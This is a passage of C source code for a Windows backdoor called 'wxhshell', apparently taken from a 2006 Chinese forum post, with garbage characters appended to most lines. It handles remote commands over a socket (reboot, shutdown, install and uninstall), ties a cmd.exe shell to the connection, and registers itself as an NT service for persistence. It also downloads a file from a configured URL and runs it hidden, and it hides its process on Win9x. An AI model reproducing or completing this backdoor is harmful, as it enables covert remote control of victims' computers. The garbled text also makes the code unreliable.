"KY]2v.  
    switch(cmd[0]) { bG)6p05Oa  
  }L5;=A']S  
  // 帮助 :f RGXrn  
  case '?': { g87M"kQKA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <2+FE/3L  
    break; "1ZVuI  
  } I?<ibLpX  
  // 安装 ]RW*3X  
  case 'i': { O=Vj*G ,  
    if(Install()) 23zR0z(L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -]Oi/i,{  
    else wS:`c J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F2=#\U$  
    break; J\I`#  
    } 8O*O 5   
  // 卸载 6 )Qe*S  
  case 'r': { \'nE{  
    if(Uninstall()) 1a},(ZcdX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .noY[P 8i  
    else )q%DRLD'G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hN1{?PQ  
    break; Cz4l  
    } M""X_~&I"  
  // 显示 wxhshell 所在路径 79M` ?xm  
  case 'p': { y;LZX-Z-  
    char svExeFile[MAX_PATH]; 8GT{vW9  
    strcpy(svExeFile,"\n\r"); 7I6& *I  
      strcat(svExeFile,ExeFile); pkA(\0E8  
        send(wsh,svExeFile,strlen(svExeFile),0); tpKQ$) ed  
    break; ?eR^\-e  
    } `&A-m8X  
  // 重启 S3 /Z]?o  
  case 'b': { EPeV1$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Ot2; T  
    if(Boot(REBOOT)) 54&&=NVs|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RYX=;n  
    else { *wz62p  
    closesocket(wsh); #!M;4~Sfx  
    ExitThread(0); HG})V PBa  
    } 9'\*Ip^  
    break; SL%lY  
    } 9KZLlEk5O  
  // 关机 3ry0.  
  case 'd': { /57)y_ \  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q?Mmkh)g  
    if(Boot(SHUTDOWN)) If.hA}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S 5nri(m  
    else { [ Q20c<,  
    closesocket(wsh); 2ISnWzq;  
    ExitThread(0); locf6%2g~  
    } e%&/K7I"?  
    break; qznd '^[  
    } ? $X1X`@  
  // 获取shell 6imQjtI  
  case 's': { e_CgZ  
    CmdShell(wsh); y+a]?`2  
    closesocket(wsh); ;jpsH?3g  
    ExitThread(0); .AHww7  
    break; T$9tO{  
  } x-s]3'!L  
  // 退出 \RyW#[(  
  case 'x': { ucC'SS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'd=B{7k@  
    CloseIt(wsh); &r !*Y&  
    break; '${xZrzmt  
    } D& #ph%U,P  
  // 离开 ^T/d34A;SP  
  case 'q': { w#`E;fN'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {3=]cLtt  
    closesocket(wsh); IH '&W  
    WSACleanup(); '|l1-yD_  
    exit(1); 4P}<86xk  
    break; #a"gW,/K  
        } ,Tc598D  
  } dJd(m&.|N  
  } wloQk(T<W  
xD<:'-ri>  
  // 提示信息 veh?oJi@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q>emyij  
} ibskce{H  
  } 8;]U:tv  
p_2-(n@  
  return; 3)+}2  
} (y!<^ Q  
F2RU7o'f.  
// shell模块句柄 :Sd iG=t  
int CmdShell(SOCKET sock) ?Dk&5d^d  
{ u >o2lvy8  
STARTUPINFO si; Mk@%Wuxg2  
ZeroMemory(&si,sizeof(si)); E"$AOM?(*i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oefhJM!y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jO#5ZhG  
PROCESS_INFORMATION ProcessInfo; 8yV?l7  
char cmdline[]="cmd"; ohe0}~)V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y-Gqx  
  return 0; juQQ  
} }_L,Xg:I  
Fm3B8Int  
// 自身启动模式 Ks@  
int StartFromService(void) 8n^v,s>  
{ w{; esU  
typedef struct nv^nq]4'Dq  
{ yb:Xjg7   
  DWORD ExitStatus; {  'Db  
  DWORD PebBaseAddress; <Sx-Ca7  
  DWORD AffinityMask; ?oX.$E?(  
  DWORD BasePriority; J}cqBk>  
  ULONG UniqueProcessId; I+]q;dF;  
  ULONG InheritedFromUniqueProcessId; Wp<4F 6C$@  
}   PROCESS_BASIC_INFORMATION; gIfl}Jat  
"eiZZSz  
PROCNTQSIP NtQueryInformationProcess; %;|^*?!J0  
B&E qd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ g\GC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gn_rf"  
{@c)!% 2$  
  HANDLE             hProcess; xi2!__  
  PROCESS_BASIC_INFORMATION pbi; hI{M?LQd  
m:,S1V_jl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t  Tky  
  if(NULL == hInst ) return 0; ErNL^Se1  
|i7j }i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b xT|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IP E2t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  k_;+z  
nDvj*lZF  
  if (!NtQueryInformationProcess) return 0; El$yM.M"  
#sK:q&/G`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l |c#  
  if(!hProcess) return 0; M/X&zr  
*uq;O*s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O%.c%)4Xo  
"[ 091<  
  CloseHandle(hProcess); D/1f> sl  
nmn 8Y V1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {>E`Zf:  
if(hProcess==NULL) return 0; 6ZCSCBW  
P O,mg?JG(  
HMODULE hMod; CE19V:zp  
char procName[255]; spE(s%dgL  
unsigned long cbNeeded; BuE=(v2}  
Tq7cZe"6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jf-4Q!  
7r?s)ZV  
  CloseHandle(hProcess); CXr]V"X9  
YM*{^BXp  
if(strstr(procName,"services")) return 1; // 以服务启动 gxS*rzCG  
0Y8Si^T  
  return 0; // 注册表启动 Wu\{)g{&  
} Bg?f}nu7  
> :s#MwIwm  
// 主模块 [4u.*oL&  
int StartWxhshell(LPSTR lpCmdLine) -Q6njt&  
{ tw/~z2G  
  SOCKET wsl; G{,X_MZ%  
BOOL val=TRUE; cg-\|H1  
  int port=0; 9 -\.|5;:  
  struct sockaddr_in door; [f9U9.fR  
#@QZ  
  if(wscfg.ws_autoins) Install(); zoUM<6q  
)zzK\I6/EQ  
port=atoi(lpCmdLine); hP1H/=~  
x4&<Vr  
if(port<=0) port=wscfg.ws_port; =@F1J7  
?=X G#we  
  WSADATA data; XN@F6Gj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; biy1!r  
WQ(*A $  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dvWQ?1l_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T( UPWsj  
  door.sin_family = AF_INET; |#p`mc%f~\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qHT_,\l2  
  door.sin_port = htons(port); Q:6i 3 Nr/  
aXAV`%b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'rZYl Qm  
closesocket(wsl); Cy'0O>v5  
return 1; BB&7VSgc-  
} <<,YgRl2  
Fc{X$hh<  
  if(listen(wsl,2) == INVALID_SOCKET) { vN`2KCl~3  
closesocket(wsl); \G+ hi9T(  
return 1; FwB }@)3  
} <6_RWtU  
  Wxhshell(wsl); ^XsIQz[q  
  WSACleanup(); TC7Rw}jF  
j:)"s_  
return 0; [YbnpI  
|~'PEY  
} R/&Ev$:  
]!JUiFj"uD  
// 以NT服务方式启动 K"%_q$[YQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'P1I-ue  
{ yMdE[/+3  
DWORD   status = 0; h[|c?\E z  
  DWORD   specificError = 0xfffffff; q2o`.f+I  
2$)xpET  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r5h+_&v,M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5%+M:B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {$,t^hd  
  serviceStatus.dwWin32ExitCode     = 0; lr>P/W\  
  serviceStatus.dwServiceSpecificExitCode = 0; f~HC%C YH  
  serviceStatus.dwCheckPoint       = 0; @WmEcX|  
  serviceStatus.dwWaitHint       = 0; s4RqY*VK  
]kXiT Yg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k,p:!S(bl  
  if (hServiceStatusHandle==0) return;  /i'dhiG  
c7~+ 5  
status = GetLastError(); : MfY8P)  
  if (status!=NO_ERROR) O] T'\6w  
{ 4CUzp.S`h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4'Svio  
    serviceStatus.dwCheckPoint       = 0; *] H8X=[x  
    serviceStatus.dwWaitHint       = 0; N:"S/G>r ;  
    serviceStatus.dwWin32ExitCode     = status; =UGyZV:z5  
    serviceStatus.dwServiceSpecificExitCode = specificError; sqtMhUQ?>w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q%g!TFMg  
    return; #H0-Fwo  
  } U3R;'80 f  
MLbmz\8a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5G >{*K/  
  serviceStatus.dwCheckPoint       = 0; 9/?@2  
  serviceStatus.dwWaitHint       = 0; }@Ap_xW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Oz3JMZe  
} ~F gxhK2+  
Ez\TwK  
// 处理NT服务事件,比如:启动、停止 Q L0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _6y#?8RMB  
{ =tP%K*Il4  
switch(fdwControl) (KHO'QNMt^  
{ [;?CO<  
case SERVICE_CONTROL_STOP: aYJTSgW  
  serviceStatus.dwWin32ExitCode = 0; reBAxmt   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~pv|  
  serviceStatus.dwCheckPoint   = 0; ~AqFLv/%  
  serviceStatus.dwWaitHint     = 0; [&Yrnkgr  
  { IE^xk@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e}xx4mYo  
  } .paKV"LJ  
  return; V8Lp%*(3  
case SERVICE_CONTROL_PAUSE: $,@PY5r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DW@|H  
  break; ZGa;'  
case SERVICE_CONTROL_CONTINUE: xaPaK-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LqZsH0C  
  break; `>i8$q%  
case SERVICE_CONTROL_INTERROGATE: @N tiT,3k  
  break; %< ^IAMkp  
}; QPc4bg\J~t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZOAHM1ci  
} &nKb<o  
xtWwz}^8]  
// 标准应用程序主函数 CyR1.|!@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?M<q95pL  
{ 3PLYC}Jq  
PVCFh$pnw  
// 获取操作系统版本 q(Q$lRj/I-  
OsIsNt=GetOsVer(); yi29+T7j4S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UrMEL; @g  
n+'gVEBA  
  // 从命令行安装 IqA'Vz,lL  
  if(strpbrk(lpCmdLine,"iI")) Install(); IBT 1If3  
R [qfG! "  
  // 下载执行文件 Lrrc&;  
if(wscfg.ws_downexe) { Y8%bk2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rpB0?h!$  
  WinExec(wscfg.ws_filenam,SW_HIDE); X[e:fW[e)  
} y7X2|$9z-  
AG Ws>  
if(!OsIsNt) { xWiR7~E  
// 如果时win9x,隐藏进程并且设置为注册表启动 fk6`DUBV  
HideProc(); ZC99/NWN  
StartWxhshell(lpCmdLine); v,[E*qMN  
} Bu]PNKIi  
else a3f- 9LN  
  if(StartFromService()) hw @)W  
  // 以服务方式启动 (D<_ iV  
  StartServiceCtrlDispatcher(DispatchTable); |ee A>z"I  
else Bn4wr  
  // 普通方式启动 '{ $7Dbo  
  StartWxhshell(lpCmdLine); aVE/qXB  
0x Er`]]U  
return 0; -/g<A~+i]$  
}
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只看该作者 1 发表于: 2006-10-10
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